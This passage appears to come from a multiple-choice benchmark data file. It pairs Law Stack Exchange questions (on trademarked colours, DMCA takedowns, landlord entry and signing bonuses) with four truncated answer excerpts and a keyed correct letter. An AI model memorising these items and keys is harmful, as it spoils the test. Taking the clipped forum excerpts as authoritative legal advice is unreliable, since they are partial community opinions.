could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/247/what-are-the-legal-repercussions-of-taking-a-strangers-picture-in-public"} {"id": "law_6685", "domain": "law", "question_title": "Can UPS really trademark the color brown?", "question_body": "So, today as I received an email from UPS, I read the disclaimer at the end and it said: © 2016 United Parcel Service of America, Inc. UPS, the UPS brandmark, and the color brown are trademarks of United Parcel Service of America, Inc. All rights reserved. What exactly does it mean that the \" color brown \" is a trademark of someone? Does it refer specifically to the brown in the logo's arrangement? And if so, anyone that uses that same color is subject to trademark infringement?", "question_score": 47, "question_tags": ["united-states", "intellectual-property", "trademark"], "choices": {"A": "Inks for reproduction can be mixed to create very custom colors. It is entirely possible to trademark a special \"recipe\" of ink which results in the same color each time. So yes. In terms of branding -- colors, or specific color combinations, can be trademarked. Don't confuse \"trademark\" with \"ownership\" or \"copyright\". Trademark merely means in that particular industry the company has staked a claim on a specific color or color combination. Trademarks are more about preventing brand confusion within the same industry. You're free to use the same colors in a completely separate industry and even in some cases...", "B": "Powers What power do I have as a driver if my interstate route is blocked by a protest? As an ordinary citizen, no powers in most jurisdictions. You have the right to report obstruction of the highway to the local police. You likely have the right to sue those people if you have evidence of significant harm they have caused you. Right to Obstruct I feel like ethically no one has the right to obstruct my travel You are wrong to put this in absolute terms. For example, a roadworker holding a \"stop\" sign has the right to temporarily obstruct...", "C": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "D": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/6685/can-ups-really-trademark-the-color-brown"} {"id": "law_17059", "domain": "law", "question_title": "Can illegal aliens claim sanctuary in a church?", "question_body": "This tweet (as quoted in a Washington Post article ), seems to suggest that illegal aliens can claim sanctuary in a church: #GuadalupeGarcia attorney says @ICEgov has lied to him and he will advise future clients to seek sanctuary in churches. (For context, Guadalupe Garcia was living in the US without documentation and was deported during a regular check in with ICE.) However, I did a search and only turned up articles saying this wasn't actually a law in the United States. Then I came across the case of Elvira Arellano , who sought refuge in a Methodist church for a year. I'm assuming the church didn't simply hide her whenever the police came around for a whole year, since she did interviews and such, but she was arrested when she left, so the authorities were clearly still actively looking to arrest her. Are police legally required to recognize a claim of sanctuary in a church?", "question_score": 47, "question_tags": ["united-states", "police", "immigration", "arrest", "religion"], "choices": {"A": "The answer from @user6726 is a good one. But, I'd like to add to it by pointing out that the body of law applicable to an individual is usually much, much smaller than the entire body of law. I'm a lawyer who has been in private practice for almost 25 years with an extremely diverse practice compared to the average lawyer, and I've never even looked at perhaps 80% of the laws on the books in the states where I practice, and even less elsewhere. By statutory and regulatory volume, the vast majority of statutory and regulatory law is applicable...", "B": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "C": "The case you identify is not unique. For example, the Unitarian church in Denver has done much the same thing. There is not a legal right to sanctuary in a church. But, as a manner of law enforcement discretion and public relations and customary traditions of law enforcement respect for churches that long predate the formation of the USA, law enforcement routinely acts as if there was a right to sanctuary in churches (in the absence, for example, of an active shooter situation or a hostage crisis or a kidnapping with a missing victim). I am not aware of any...", "D": "This has been prosecuted criminally, in the scenario of people taking a huge pile of \"free\" newspapers to sell for recycling. See coverage in the Independent from 16 February 2019. Some previous prosecutions against the same or similar groups had been dropped but this one succeeded. While copies of the Evening Standard are given away for free at train stations, the big stack of them is still somebody's property, and the socially expected arrangement is that a member of the public will take just one, rather than the lot. The reason they are being offered is to achieve a wide..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/17059/can-illegal-aliens-claim-sanctuary-in-a-church"} {"id": "law_26950", "domain": "law", "question_title": "Can I sue a restaurant for serving me meat in vegetarian dish?", "question_body": "I am a vegetarian for religious reasons. I was at Chipotle on Saturday and ordered a sofritas rice bowl which is \"vegan approved\". To my surprise, I found a chunk of chicken in my bowl when I was halfway through eating it. Made me feel sick to the stomach realizing that I may have eaten chicken already. Went back to the Order desk and showed the server meat in my bowl. They immediately offered a refund and asked if I wish to file a complaint. The manager brought out a complaint form and filled for me. Gave me a copy as well. I did not take any refund. just walked out, I was very upset. My question is: Can I take a legal action against Chipotle?", "question_score": 46, "question_tags": ["civil-law", "food"], "choices": {"A": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against...", "B": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "C": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "D": "An essential component of your contract with them is that they will provide you with food free of animal stuff (the exact nature of \"vegan approved\" may be up for debate, but actual meat should not be included). So they breached their contract with you, and you might sue them for breach of contract. The case of Gupta v. Asha (orders were mixed up) could be useful in this matter. In this case, Hindus were served samosas containing beef, despite repeated assertions that they were vegetarian. Plaintiffs sued, the case was dismissed, and the appeals court deemed that the lower..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/26950/can-i-sue-a-restaurant-for-serving-me-meat-in-vegetarian-dish"} {"id": "law_30946", "domain": "law", "question_title": "Do we have to take down the material for 14 days even if the DMCA notice is erroneous?", "question_body": "A very large site and my site are both licensed to use product images created and photographed by the same vendor. Now the large site comes after my site and sends a DMCA notice to my hosting provider, asking us to take down quite some of our most popular products. While it's absolutely a false claim and it's possible that they had no idea we were licensed just as they were, it seems I have to take down the infringing materials and send back a counter-notice and wait for 14 days ? My question is is this fair? 14 days are enough for Google to de-index the page and for it to lose all the ranking juices. Not to mention the sales losses . What if they actually know we are licensed but just wanted to ruin our site rankings and keep coming after us in future? Do we still have to follow the legal procedures to take down whatever products they claim infringing for 14 days? What better options do we have here? Update After I first posted this question, my host restored the allegedly infringing product after 14 days of my providing the counter DMCA notice. Now the same complaint is after us again on another of our popular products. This is really annoying and stupid. How can I end this once and for all? We are not physically in United States, can we still find someone to win the lawsuit for us? Or is there any other way to stop them?", "question_score": 46, "question_tags": ["copyright", "dmca"], "choices": {"A": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "B": "There is a slight confusion here: The large company sent the DMCA notice to your host, not to you. You are not taking down anything. The host does that. If the DMCA takedown notice is following all the rules, then your host has two choices: Take down your content, or be willing to be part of a copyright court case. Assuming that the host doesn't want to go to court and potentially lose tons of money, they will take down your content. Until you send a counter notice. Now you can only legally create a DMCA notice as the copyright...", "C": "Through the legal doctrine of \"transferred intent\", wherein if one intends to murder A, and undertake actions to kill A, but one's actions kill B, one has murdered B. Whatever crimes one would have committed, had one performed them on one's intended target, are considered committed against the individual one actually performed them on. Many crimes require one to have mens rea to be guilty; they do not require one to have mens rea towards a given individual. So, so long as one had the proper intent to murder someone, the actual victim of their actions is irrelevant.", "D": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/30946/do-we-have-to-take-down-the-material-for-14-days-even-if-the-dmca-notice-is-erro"} {"id": "law_31015", "domain": "law", "question_title": "Can I forbid the government from using my patented invention?", "question_body": "(this is a purely hypothetical situation, for literary research) I've filed a patent on a certain technology for facial recognition/analysis, and as the patent holder I want to use my exclusivity to ensure it's not used to harm anyone. Unfortunately, the nature of the invented technique can be easily misused for what I believe are evil purposes. Military, then law enforcement agencies, have begun connecting me with manufacturers who want to incorporate my technique into their software suites, to which I am firmly opposed. Mind, the patent is still in review, so getting inquiries this soon strikes me as odd. My question is, can I deny the military use of my invention should the patent be approved, and if not, are there any ways in which I can sabotage or otherwise render it difficult for them? Perhaps by requesting an impractically large royalty or purposely presenting a subtly faulty implementation to their manufacturing firm?", "question_score": 46, "question_tags": ["united-states", "patents", "texas"], "choices": {"A": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution...", "B": "If you are not a member of the Bar of Maryland, you may not \"practice, attempt to practice, or offer to practice law in the State unless admitted to the Bar.\" Maryland Business Occupations and Professions § 10-601 . \"Practicing law\" includes \"representing another person before a unit of the State government or of a political subdivision.\" Maryland Business Occupations and Professions § 10-101 . \"[A] person who violates § 10-601 of this subtitle is guilty of a misdemeanor and on conviction is subject to a fine not exceeding $5,000 or imprisonment not exceeding 1 year or both.\" Maryland Business...", "C": "You cannot deny the federal government the right to use your patent, but you can sue them for \"recovery of [your] reasonable and entire compensation for such use and manufacture\", see 28 USC 1498 . Note that the statute refers to such use as being \"without license of the owner thereof or lawful right to use or manufacture the same\", that is, there is no lawful right to infringe on a patent, but recourse for infringement is highly limited. A suit against the government under §1498 is (see the summary in Airborne Data v. US , 702 F.2d 1350) on...", "D": "The third Geneva convention says in its second article (emphasis added): the present Convention shall apply to all cases of declared war or of any other armed conflict which may arise between two or more of the High Contracting Parties, even if the state of war is not recognized by one of them. The Convention shall also apply to all cases of partial or total occupation of the territory of a High Contracting Party, even if the said occupation meets with no armed resistance. The violence in Ukraine qualifies for at least two reasons: it is an armed conflict between..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/31015/can-i-forbid-the-government-from-using-my-patented-invention"} {"id": "law_24104", "domain": "law", "question_title": "Is it illegal to backup your hard drive if you have copyrighted software on it?", "question_body": "Is it illegal if you create a backup of an HDD that has copyrighted software installed on it? This could be anything from legally purchased games and or expensive popular graphics/video editing programs, just as an example. Is this backup an illegal copy of the original HDD?", "question_score": 45, "question_tags": ["united-states", "copyright", "software", "licensing", "online-piracy"], "choices": {"A": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from Ms. Hazel) 1 Count Petty Theft (Theft of Candy) 1 Count of Vandalism (Bite marks left in Gingerbread Masonry) 1 Count Trespassing Mr. Hansel Holzfaller is charged with the following: 1 Count of Accessory to Murder 1 Count of Grand Larceny 1 Count Petty Theft 1 Count of Vandalism 1 Count Trespassing Ms....", "B": "See 18 U.S.C. s. 1621 (a) . Perjury only relates to material matter . In my opinion, your little logical paradox isn't material. You might be scolded by the judge to stay on point. If you keep doing it, you'll be held in contempt of court .", "C": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "D": "You're allowed to make backups of copyrighted software, as long as you are authorized to use the software, the backups are not distributed, and they are destroyed when/if you are no longer authorized to use the software. 17 USC §117(a): (a) Making of Additional Copy or Adaptation by Owner of Copy. -- Notwithstanding the provisions of section 106, it is not an infringement for the owner of a copy of a computer program to make or authorize the making of another copy or adaptation of that computer program provided: (1) ...(not very helpful)...or (2) that such new copy or adaptation..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/24104/is-it-illegal-to-backup-your-hard-drive-if-you-have-copyrighted-software-on-it"} {"id": "law_51959", "domain": "law", "question_title": "In Los Angeles can I defend my own property against looters?", "question_body": "Currently, there is looting being done in Los Angeles by many people who are pretending to protest against the killing of George Floyd (some others are actually protesting and a few people are helping to stop looters). If someone were to loot my property (business) would I be within my rights to deter them by shooting at them with a paintball gun and / or using a long-leashed German Shepard near the door? Also to potentially citizen arrest with zip-ties? (if feasible)", "question_score": 45, "question_tags": ["united-states", "california", "property", "trespass", "citizens-arrest"], "choices": {"A": "My impression, and the plausible explanation in the absence of the actual facts, is that this was something that the attorney agreed to, in order to allow a skittish client to reveal information pursuant to a favorable plea agreement. The police probably insisted that the client be handcuffed to someone while doing this to prevent the client from fleeing. The attorney probably offered to do the job instead of a police officer, to be able to provide advice to his client and keep his client calm enough to do it, which might not have happened (sacrificing the favorable plea deal...", "B": "If you are arrested for assault, you have available to you the defense of the right to defend real or personal property : you \"may use reasonable force to protect that property from imminent harm. Reasonable force means the amount of force that a reasonable person in the same situation would believe is necessary to protect the property from imminent harm\". The level of force proposed is clearly within the boundaries of the reasonable.", "C": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "D": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/51959/in-los-angeles-can-i-defend-my-own-property-against-looters"} {"id": "law_80132", "domain": "law", "question_title": "If Congress passed a bill written in a language other than English, would it be valid?", "question_body": "Suppose Congress passed a bill written in Spanish and the President signed it. Everything about the bill and the procedures by which it was written and passed were completely normal, other than the language. (Assume everyone in Congress, as well as the President, is fluent in Spanish.) Would the fact that the law is written in a language other than English have any effect on its enforceability, other than the practical difficulties caused by many people not understanding it?", "question_score": 45, "question_tags": ["united-states", "congress", "language"], "choices": {"A": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "B": "It would indeed be valid and legally enforceable. The Constitution places no limits on what languages bills must be written in. The Constitution specifically allows each house of Congress to make its own rules for how it passes bills, so, even if a house of Congress had a rule requiring its bills to be in English (which they don't, as far as I know,) they could simply change the rules and then pass the bill. From a practical standpoint, though, enforceability would also require courts to be able to discern Congress' intent from the bill. As such, unless we're expanding...", "C": "Yes, their waiver has no legal basis and is invalid under the GDPR. They should have hired a better lawyer. GDPR rights cannot be waived ( mrllp.com ). The last bit should have been: Therefore, in consideration of my participation in any project, I understand that retaining my name and email address, as described above, does not require my consent and that the right of erasure, as spelled out in the GDRP Article 17 (1) b does not apply. The legal basis for our lawful processing of this personal data is Article 6 (1) f (\"processing is necessary for the...", "D": "\"Posted\" is a Term of Art \" Posted \" is a term of art in trespass law, specifically meaning that signs forbidding entry have been placed at the borders of a parcel. The page \"Properly posted definition\" from Law Insider reads: Properly posted means that signs prohibiting trespass—or bright yellow, bright orange or fluorescent paint—are clearly displayed at all corners, on fishing streams crossing property lines, and on roads, gates and rights-of-way entering the land. Or, they are displayed in a manner that is visible to a person in the area. The entry \"Posting\" in the \"Legal\" section of The..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/80132/if-congress-passed-a-bill-written-in-a-language-other-than-english-would-it-be"} {"id": "law_38013", "domain": "law", "question_title": "Virginia employer terminated employee and wants signing bonus returned", "question_body": "A Virginia employee was terminated within 1 year of hiring because the on-site customer felt he was \"too negative\". Offer Letter: Along with this offer, you are receiving a $10,000.00 signing bonus, which includes $3,000.00 to be paid directly to you in your first company paycheck and the remaining $7,000.00 to be paid to you at 30 days of employment with xxxxx. A 1−year commitment required or the bonus will be repaid in full to xxxxx. Can the employer legally keep the employee's last check and send the employee a bill for the remainder ?", "question_score": 44, "question_tags": ["employment", "virginia"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "Virginia employer terminated employee and wants signing bonus returned Can the employer legally keep his last check and send the employee a bill for the remainder ? No, unless (1) the employee resigned and (2) his resignation does not amount to constructive termination . The employer may withhold the remaining $7,000 only if the employee did not meet the condition of \" 30 days of employment with xxxxx \". Absent any language to the contrary, the requirement of \" 1-year commitment \" is to be construed as the consideration expected from the employee (namely, \" not to quit \") in...", "C": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "D": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/38013/virginia-employer-terminated-employee-and-wants-signing-bonus-returned"} {"id": "law_41748", "domain": "law", "question_title": "Is it legal for a bar bouncer to confiscate a fake ID", "question_body": "Background: I read a Reddit thread where someone had an international passport confiscated from them at a bar. I imagine that the bouncer probably didn't recognize what he was looking at and assumed it was a fake ID. From what I understand, the bar does not have the authority to confiscate such a real passport, but that got me to thinking, what if the Bouncer was right? Does he actually have the legal authority to confiscate the fake ID? The reason I ask, is because if he does have that authority, it feels to me like an awkward law, because a simple gap in knowledge can be what makes the difference between legal and illegal.", "question_score": 44, "question_tags": ["illinois", "identification"], "choices": {"A": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "B": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out...", "C": "Your question is the subject of longstanding and ongoing debate that has generated countless articles and books and dissertations, so you're probably not going to get a fully satisfactory answer here. But here's the short version: Different systems operate on different assumptions. Your question suggests you are not a retributivist, i.e., someone who views sentencing as a means for taking retribution for the criminal's offenses. Some systems (most, I imagine) are built around that idea, but some view criminal sentencing primarily as a means of preventing recidivism, or as a means for achieving rehabilitation, the interests you indicated you see...", "D": "There are a couple of indications that a bouncer may not confiscate an ID. This policy document adopting licensing policies to Require licensees with fake ID violations to temporarily or permanently hire on-site law enforcement or certified security guards who are properly trained to check IDs during regular or peak hours to deter the use of fake IDs and give gatekeepers the opportunity to pass suspected fakes to an officer or guard for a second opinion and potential confiscation. Where appropriate, jurisdictions could empower the gatekeeper to confiscate fake IDs so they are not returned to the underage drinker and..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/41748/is-it-legal-for-a-bar-bouncer-to-confiscate-a-fake-id"} {"id": "law_42984", "domain": "law", "question_title": "Is it legal for a supermarket to refuse to sell an adult beer if an adult with them doesn’t have their ID?", "question_body": "Today I went with my dad grocery shopping at a supermarket in New York (ShopRite) and he put a six-pack of beer in the cart. They then wouldn’t let him buy the beer because they couldn’t ID me (21, but I dress for work so I look more like 25). Even when I left the store to wait in the car they made him check out at a different register. Is this legal? I wasn’t buying anything; I was just helping him load stuff onto the conveyor belt.", "question_score": 44, "question_tags": ["united-states", "new-york-state", "alcohol", "is-x-legal", "identification"], "choices": {"A": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "B": "It is legal, at least in the US, for a store (or other entity) to refuse to sell any item to any individual for any non-prohibited reason (prohibited reasons are typically things like race or religion). More over, in various US jurisdictions, it is prohibited to \"furnish\" alcohol to a \"minor\" (for example, under California's ABC law), which can be interpreted as prohibiting to an adult if they reasonably suspect that adult will pass the alcohol onto the \"minor\". This is to prevent \"straw\" sales. Additionally, larger chains generally prefer to have harmonized policies across branches, and where practical, across...", "C": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "D": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/42984/is-it-legal-for-a-supermarket-to-refuse-to-sell-an-adult-beer-if-an-adult-with-t"} {"id": "law_43435", "domain": "law", "question_title": "Can I enter a rental property without giving notice if I'm afraid a tenant may be hurt?", "question_body": "I rent a “Mother-In-Laws quarters” (guest area) that is on the side of my house. It has a private entrance. If I'm concerned something has happened to the tenant, am I legally allowed to enter the building without giving notice? Some background : For the first time, my tenant is late on rent, and hasn't contacted me in any way which seems very unusual for her. Yesterday I texted once to remind about the rent, and a second time asking if they are okay once I noticed there was still mail from a few days ago in her mail box right by her door with no response. I also couldn't hear TV through the wall which I usually can, and her curtains were never opened which I notice she usually does during the day. The air conditioning also wasn't on all day, which is also unusual. She's elderly and I'm afraid she may have fallen or even worse. I'm planning on knocking on her door on my lunch break. If she does not answer the door, I'm trying to figure out if I can go ahead and enter the property and make sure everything is okay.", "question_score": 44, "question_tags": ["california", "rental-property"], "choices": {"A": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "B": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "C": "This aspect (and many others) of contract law is applicable in the US and various countries of the EU. can they renege after the candidate has begun their journey, thus saddling the candidate with the travel cost? No. The company would incur breach of contract. There is no need for a formal contract. The candidate only needs to prove that the company agreed (in writing, orally or clearly through its conduct) to cover or reimburse those expenses and that this elicited a meeting of the minds . The agreement would be void if the candidate incurred the expenses despite knowing...", "D": "No Parliament is sovereign : Parliamentary sovereignty is a principle of the UK constitution. It makes Parliament the supreme legal authority in the UK, which can create or end any law. Generally, the courts cannot overrule its legislation and no Parliament can pass laws that future Parliaments cannot change . Parliamentary sovereignty is the most important part of the UK constitution."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/43435/can-i-enter-a-rental-property-without-giving-notice-if-im-afraid-a-tenant-may-b"} {"id": "law_60445", "domain": "law", "question_title": "If I'm the CEO and largest shareholder of a public company, would taking anything from my office be considered as a theft?", "question_body": "To summarize it, I'll give an example: I'm Bill Gates. I own Microsoft. On a desk, there's a Microsoft Surface that is branded by my company. I decide to take it home and never bring it back, although I didn't buy it personally, and the company's budget was spent on it. Would that be a theft?", "question_score": 44, "question_tags": ["united-states", "business", "property"], "choices": {"A": "Yes. Let's assume this anecdote takes place while Gates was CEO. Bill Gates doesn't own all of Microsoft, and as an officer of the company, he owes a fiduciary duty to act in the best interests of the company and its shareholders as a whole. Taking the company's property for personal use breaches that fiduciary duty . Now, in this particular hypothetical, Gates might have a decent argument that, as a public figure who can afford any piece of technology he desires, him being seen using a Microsoft Surface actually is acting in the company's best interests. But that wouldn't...", "B": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "C": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to...", "D": "Powers What power do I have as a driver if my interstate route is blocked by a protest? As an ordinary citizen, no powers in most jurisdictions. You have the right to report obstruction of the highway to the local police. You likely have the right to sue those people if you have evidence of significant harm they have caused you. Right to Obstruct I feel like ethically no one has the right to obstruct my travel You are wrong to put this in absolute terms. For example, a roadworker holding a \"stop\" sign has the right to temporarily obstruct..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/60445/if-im-the-ceo-and-largest-shareholder-of-a-public-company-would-taking-anythin"} {"id": "law_80047", "domain": "law", "question_title": "After buying from a brick & mortar shop they've contacted me to say buying things from them is consent to arbitration. Is this legal?", "question_body": "A few days ago I bought over-the-counter goods from a shop. There was no signature involved in this purchase. I walked up to the counter with 